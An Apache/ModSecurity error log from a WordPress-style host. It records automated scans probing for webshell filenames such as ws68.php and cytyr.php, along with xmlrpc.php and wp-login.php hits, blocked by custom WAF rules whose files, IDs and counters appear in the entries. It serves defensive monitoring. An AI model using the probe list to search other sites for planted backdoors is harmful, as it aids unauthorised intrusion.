[Wed Feb 11 16:36:55.850908 2026] [:error] [pid 22569:tid 22574] [client 158.158.72.18:1701] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cytyr.php"] [unique_id "aYw_p8AhSI7iX9G3enj91wAAAYE"]
[Wed Feb 11 16:36:56.622470 2026] [:error] [pid 22570:tid 22620] [client 158.158.72.18:1120] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cytyr.php"] [unique_id "aYw_qCE5uSe043FXwQo66AAAAdQ"]
[Wed Feb 11 16:36:57.358290 2026] [:error] [pid 28073:tid 28082] [client 158.158.72.18:1140] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/h02ugyh.php"] [unique_id "aYw_qYeHYIlOlF-DsMx88wAAAMc"]
[Wed Feb 11 16:36:58.060191 2026] [:error] [pid 27965:tid 28011] [client 158.158.72.18:36963] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/h02ugyh.php"] [unique_id "aYw_qtHLAUAIo8qpZyEhhAAAAEg"]
[Wed Feb 11 16:36:58.674434 2026] [:error] [pid 27965:tid 28021] [client 158.158.72.18:1353] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/h02ugyh.php"] [unique_id "aYw_qtHLAUAIo8qpZyEhhgAAAFI"]
[Wed Feb 11 16:36:59.472250 2026] [:error] [pid 28073:tid 28076] [client 158.158.72.18:1091] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/h02ugyh.php"] [unique_id "aYw_q4eHYIlOlF-DsMx8-gAAAME"]
[Wed Feb 11 16:37:00.101294 2026] [:error] [pid 22537:tid 22551] [client 158.158.72.18:1147] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aYw_rCfg2TagwM3bvQPGygAAAUw"]
[Wed Feb 11 16:37:00.800943 2026] [:error] [pid 27965:tid 28008] [client 158.158.72.18:36949] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aYw_rNHLAUAIo8qpZyEhiQAAAEU"]
[Wed Feb 11 16:37:01.552858 2026] [:error] [pid 28073:tid 28091] [client 158.158.72.18:1183] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aYw_rYeHYIlOlF-DsMx9BwAAANA"]
[Wed Feb 11 16:37:02.199092 2026] [:error] [pid 27965:tid 28013] [client 158.158.72.18:1351] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aYw_rtHLAUAIo8qpZyEhiwAAAEo"]
[Wed Feb 11 16:37:03.103099 2026] [:error] [pid 27965:tid 28023] [client 158.158.72.18:1690] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aYw_r9HLAUAIo8qpZyEhjAAAAFQ"]
[Wed Feb 11 16:37:03.888970 2026] [:error] [pid 22537:tid 22558] [client 158.158.72.18:1358] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aYw_ryfg2TagwM3bvQPGywAAAVM"]
[Wed Feb 11 16:37:04.996628 2026] [:error] [pid 22537:tid 22545] [client 158.158.72.18:36978] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aYw_sCfg2TagwM3bvQPGzQAAAUY"]
[Wed Feb 11 16:37:05.756004 2026] [:error] [pid 22569:tid 22580] [client 158.158.72.18:36988] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aYw_scAhSI7iX9G3enj96wAAAYc"]
[Wed Feb 11 16:37:06.816490 2026] [:error] [pid 17401:tid 17412] [client 158.158.72.18:1357] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ava.php"] [unique_id "aYw_sg0lHeayTY40t341KQAAAQk"]
[Wed Feb 11 16:37:07.966747 2026] [:error] [pid 28073:tid 28091] [client 158.158.72.18:1684] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ava.php"] [unique_id "aYw_s4eHYIlOlF-DsMx9LwAAANA"]
[Wed Feb 11 16:37:09.341434 2026] [:error] [pid 28073:tid 28096] [client 158.158.72.18:1726] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ava.php"] [unique_id "aYw_tYeHYIlOlF-DsMx9MwAAANU"]
[Wed Feb 11 16:37:10.456412 2026] [:error] [pid 27966:tid 28054] [client 158.158.72.18:36873] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ava.php"] [unique_id "aYw_tl8HJ9ydyf0SPu56BgAAAJg"]
[Wed Feb 11 16:37:11.238821 2026] [:error] [pid 17401:tid 17418] [client 158.158.72.18:36951] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inc.php"] [unique_id "aYw_tw0lHeayTY40t341QAAAAQ8"]
[Wed Feb 11 16:37:12.562501 2026] [:error] [pid 27966:tid 28035] [client 158.158.72.18:1197] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inc.php"] [unique_id "aYw_uF8HJ9ydyf0SPu56CQAAAIU"]
[Wed Feb 11 16:37:13.835136 2026] [:error] [pid 22537:tid 22540] [client 158.158.72.18:1144] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inc.php"] [unique_id "aYw_uSfg2TagwM3bvQPG1QAAAUE"]
[Wed Feb 11 16:37:14.867258 2026] [:error] [pid 27965:tid 28023] [client 158.158.72.18:1111] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inc.php"] [unique_id "aYw_utHLAUAIo8qpZyEh0QAAAFQ"]
[Wed Feb 11 16:37:16.332093 2026] [:error] [pid 28073:tid 28087] [client 158.158.72.18:1114] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws68.php"] [unique_id "aYw_vIeHYIlOlF-DsMx9RAAAAMw"]
[Wed Feb 11 16:37:17.880309 2026] [:error] [pid 28073:tid 28079] [client 158.158.72.18:1441] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws68.php"] [unique_id "aYw_vYeHYIlOlF-DsMx9SAAAAMQ"]
[Wed Feb 11 16:37:19.326061 2026] [:error] [pid 22569:tid 22589] [client 158.158.72.18:25911] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws68.php"] [unique_id "aYw_v8AhSI7iX9G3enj-HgAAAZA"]
[Wed Feb 11 16:37:20.917921 2026] [:error] [pid 28073:tid 28097] [client 158.158.72.18:1849] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws68.php"] [unique_id "aYw_wIeHYIlOlF-DsMx9VQAAANY"]
[Wed Feb 11 16:37:21.995369 2026] [:error] [pid 27965:tid 28006] [client 158.158.72.18:1816] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w1px.php"] [unique_id "aYw_wdHLAUAIo8qpZyEh5gAAAEM"]
[Wed Feb 11 16:37:22.809582 2026] [:error] [pid 27965:tid 28025] [client 158.158.72.18:1320] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w1px.php"] [unique_id "aYw_wtHLAUAIo8qpZyEh6wAAAFY"]
[Wed Feb 11 16:37:24.044094 2026] [:error] [pid 17401:tid 17408] [client 158.158.72.18:1337] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w1px.php"] [unique_id "aYw_xA0lHeayTY40t341XgAAAQU"]
[Wed Feb 11 16:37:25.120367 2026] [:error] [pid 17401:tid 17414] [client 158.158.72.18:1280] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w1px.php"] [unique_id "aYw_xQ0lHeayTY40t341XwAAAQs"]
[Wed Feb 11 16:37:26.420930 2026] [:error] [pid 22537:tid 22552] [client 158.158.72.18:1777] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/upload.php"] [unique_id "aYw_xifg2TagwM3bvQPG1wAAAU0"]
[Wed Feb 11 16:37:27.249373 2026] [:error] [pid 27964:tid 27981] [client 158.158.72.18:1070] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/upload.php"] [unique_id "aYw_x8p0XgWYHLcQtEiXOgAAAAY"]
[Wed Feb 11 16:37:28.042527 2026] [:error] [pid 22570:tid 22619] [client 158.158.72.18:1846] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/upload.php"] [unique_id "aYw_yCE5uSe043FXwQo7MQAAAdM"]
[Wed Feb 11 16:37:28.848535 2026] [:error] [pid 27964:tid 27988] [client 158.158.72.18:1230] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/upload.php"] [unique_id "aYw_yMp0XgWYHLcQtEiXPwAAAA0"]
[Wed Feb 11 16:37:30.584921 2026] [:error] [pid 17401:tid 17418] [client 158.158.72.18:1780] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aYw_yg0lHeayTY40t341ZAAAAQ8"]
[Wed Feb 11 16:37:34.536917 2026] [:error] [pid 17401:tid 17420] [client 158.158.72.18:1833] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aYw_zg0lHeayTY40t341aAAAARE"]
[Wed Feb 11 16:37:35.865650 2026] [:error] [pid 17401:tid 17403] [client 158.158.72.18:1801] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aYw_zw0lHeayTY40t341awAAAQA"]
[Wed Feb 11 16:37:41.870670 2026] [:error] [pid 22570:tid 22620] [client 158.158.72.18:37708] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aYw_1SE5uSe043FXwQo7RAAAAdQ"]
[Wed Feb 11 16:37:53.344537 2026] [proxy_fcgi:error] [pid 22569:tid 22595] [client 158.158.72.18:1412] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:37:53.592333 2026] [proxy_fcgi:error] [pid 22569:tid 22584] [client 158.158.72.18:1412] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:37:53.838347 2026] [proxy_fcgi:error] [pid 22569:tid 22573] [client 158.158.72.18:1412] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:37:54.109243 2026] [proxy_fcgi:error] [pid 22569:tid 22597] [client 158.158.72.18:1412] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:37:54.370981 2026] [proxy_fcgi:error] [pid 22569:tid 22577] [client 158.158.72.18:1412] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:37:57.408999 2026] [proxy_fcgi:error] [pid 22569:tid 22579] [client 158.158.72.18:1412] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:37:57.686165 2026] [proxy_fcgi:error] [pid 22569:tid 22592] [client 158.158.72.18:1412] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 19:19:21.200114 2026] [:error] [pid 27965:tid 28007] [client 185.206.221.83:3998] [client 185.206.221.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.206.221.83, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aYxludHLAUAIo8qpZyFSIgAAAEQ"]
[Wed Feb 11 19:19:21.212088 2026] [proxy_fcgi:error] [pid 27965:tid 28007] [client 185.206.221.83:3998] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 19:19:23.463129 2026] [:error] [pid 22537:tid 22539] [client 185.202.171.27:28324] [client 185.202.171.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.202.171.27, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aYxluyfg2TagwM3bvQPvMQAAAUA"]
[Wed Feb 11 19:19:23.468087 2026] [proxy_fcgi:error] [pid 22537:tid 22539] [client 185.202.171.27:28324] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 19:19:25.447439 2026] [:error] [pid 17401:tid 17416] [client 173.211.38.76:45280] [client 173.211.38.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.211.38.76, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aYxlvQ0lHeayTY40t35cfwAAAQ0"]
[Wed Feb 11 19:19:25.453428 2026] [proxy_fcgi:error] [pid 17401:tid 17416] [client 173.211.38.76:45280] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 19:19:27.411320 2026] [:error] [pid 27965:tid 28003] [client 45.73.166.120:37932] [client 45.73.166.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.73.166.120, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aYxlv9HLAUAIo8qpZyFSJAAAAEA"]
[Wed Feb 11 19:19:27.416081 2026] [proxy_fcgi:error] [pid 27965:tid 28003] [client 45.73.166.120:37932] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 19:28:21.859191 2026] [:error] [pid 27965:tid 28011] [client 194.93.7.246:28378] [client 194.93.7.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.93.7.246, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aYxn1dHLAUAIo8qpZyFUmAAAAEg"]
[Wed Feb 11 19:28:21.870055 2026] [proxy_fcgi:error] [pid 27965:tid 28011] [client 194.93.7.246:28378] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 19:28:23.890255 2026] [:error] [pid 27966:tid 28041] [client 157.254.63.36:61878] [client 157.254.63.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.254.63.36, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aYxn118HJ9ydyf0SPu6rtgAAAIs"]
[Wed Feb 11 19:28:23.895289 2026] [proxy_fcgi:error] [pid 27966:tid 28041] [client 157.254.63.36:61878] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 19:28:26.923051 2026] [:error] [pid 27964:tid 27987] [client 204.14.105.241:44858] [client 204.14.105.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 204.14.105.241, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aYxn2sp0XgWYHLcQtEjPpgAAAAw"]
[Wed Feb 11 19:28:26.928369 2026] [proxy_fcgi:error] [pid 27964:tid 27987] [client 204.14.105.241:44858] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 19:28:29.310299 2026] [:error] [pid 22570:tid 22607] [client 172.84.124.212:18754] [client 172.84.124.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.84.124.212, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aYxn3SE5uSe043FXwQpniAAAAcc"]
[Wed Feb 11 19:28:29.315038 2026] [proxy_fcgi:error] [pid 22570:tid 22607] [client 172.84.124.212:18754] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 21:38:50.471626 2026] [proxy_fcgi:error] [pid 28073:tid 28087] [client 145.239.10.137:38367] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/2.php
[Wed Feb 11 22:31:07.520074 2026] [proxy_fcgi:error] [pid 27965:tid 28004] [client 20.107.195.240:57818] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 22:31:07.782101 2026] [proxy_fcgi:error] [pid 27965:tid 28017] [client 20.107.195.240:57818] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 22:31:08.036878 2026] [proxy_fcgi:error] [pid 27965:tid 28016] [client 20.107.195.240:57818] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 22:31:08.292996 2026] [proxy_fcgi:error] [pid 27965:tid 28014] [client 20.107.195.240:57818] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 22:31:08.556004 2026] [proxy_fcgi:error] [pid 27965:tid 28007] [client 20.107.195.240:57818] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 22:31:08.811142 2026] [proxy_fcgi:error] [pid 27965:tid 28006] [client 20.107.195.240:57818] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 22:31:09.104401 2026] [proxy_fcgi:error] [pid 27965:tid 28020] [client 20.107.195.240:57818] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 22:31:09.373971 2026] [proxy_fcgi:error] [pid 27965:tid 28013] [client 20.107.195.240:57818] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 02:16:17.686876 2026] [proxy_fcgi:error] [pid 59768:tid 59779] [client 74.248.120.216:7589] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 02:16:17.957546 2026] [proxy_fcgi:error] [pid 59768:tid 59773] [client 74.248.120.216:7589] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 02:16:18.242179 2026] [proxy_fcgi:error] [pid 59768:tid 59781] [client 74.248.120.216:7589] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 02:16:18.515333 2026] [proxy_fcgi:error] [pid 59768:tid 59770] [client 74.248.120.216:7589] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 02:16:18.787890 2026] [proxy_fcgi:error] [pid 59768:tid 59792] [client 74.248.120.216:7589] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 02:16:19.053437 2026] [proxy_fcgi:error] [pid 59768:tid 59787] [client 74.248.120.216:7589] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 02:16:19.315693 2026] [proxy_fcgi:error] [pid 59768:tid 59791] [client 74.248.120.216:7589] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 02:16:19.581918 2026] [proxy_fcgi:error] [pid 59768:tid 59790] [client 74.248.120.216:7589] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 02:16:19.852724 2026] [proxy_fcgi:error] [pid 59768:tid 59780] [client 74.248.120.216:7589] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 02:16:21.299661 2026] [proxy_fcgi:error] [pid 59768:tid 59777] [client 74.248.120.216:7589] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 02:16:21.584675 2026] [proxy_fcgi:error] [pid 59768:tid 59778] [client 74.248.120.216:7589] AH01071: Got error 'Primary script unknown'
